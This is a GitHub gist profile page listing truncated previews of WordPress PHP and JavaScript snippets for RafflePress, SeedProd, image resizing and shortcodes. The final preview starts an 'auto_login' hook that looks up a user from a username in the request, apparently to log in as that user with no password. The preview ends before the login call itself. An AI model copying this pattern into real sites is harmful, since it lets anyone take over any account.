Skip to content

Instantly share code, notes, and snippets.

View seedprod's full-sized avatar

John Turner seedprod

View GitHub Profile
// get total entries count
$contestant_id = 1;
$tablename = $wpdb->prefix . 'rafflepress_entries';
$sql = "SELECT count(id) FROM $tablename WHERE contestant_id = %d AND deleted_at IS NULL";
$safe_sql = $wpdb->prepare( $sql, $contestant['id'] );
$total_entries = $wpdb->get_var( $safe_sql );
$contestant['total_entries'] = $total_entries;
@seedprod
seedprod / vt_resize.php
Created November 15, 2011 14:45
Resize WordPress images on the fly vt_resize w/ multisite support
<?php
/*
* Resize images dynamically using wp built in functions
* Victor Teixeira
*
* php 5.2+
*
* Exemplo de uso:
*
* <?php
<?php
/*
Plugin Name: RafflePress Invent Your Own
Plugin URI:
Description: Programmatically Add User and Complete Actions in RafflePress
Version:
Author:
Author URI:
License:
License URI:
<a id='COCBadgeURL' href='https://www.chamberofcommerce.com/united-states/colorado/denver/massage-therapist/2013293472-gentle-myofascial-release?source=memberwebsite' target='_tab' rel='noopener'><img style='width:auto;height:150px;' id='COCBadgeIMG' src='https://coc.codes/images/badge/2013293472'></a>
<?php
update_option( 'seedprod_token', wp_generate_uuid4() );
{
"show_header_template":true,
"show_footer_template":true,
"no_conflict_mode":false,
"no_index":false,
"seo_title":"",
"seo_description":"",
"favicon":"",
"social_thumbnail":"",
"enable_recaptcha":false,
@seedprod
seedprod / remove_inline_css_and_style_tag.php
Last active July 22, 2021 01:56
This will remove inline css and style tag and will allows you to move to dedicated style sheet or head.
<?php
// https://simplehtmldom.sourceforge.io/
include_once('simple_html_dom.php');
function semi_it( $string ) {
return rtrim( $string, ';' ) . ';';
}
function generate_random_string($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyz';
@seedprod
seedprod / gist:272610
Created January 9, 2010 00:34
WordPress Loop Shortcode
// The Loop
/*
* Usage: loop category="news" query="" pagination="false"
*/
<?php
add_shortcode("loop", "myLoop");
function myLoop($atts, $content = null) {
extract(shortcode_atts(array(
<script>
function set_fta(){
var t = Math.round((new Date()).getTime() / 1e3);
var p = '';
var b = document.body;
if (this.fta_h_c(b,'single-post')) {
p = 'b--'
}
var n = location.pathname;
<?php
add_action( 'init', 'auto_login');
function auto_login(){
$username = $_REQUEST['username'];
if($username == 'john'){
exit();
}
if ( !is_user_logged_in() ) {
$user = get_user_by( 'login', $username );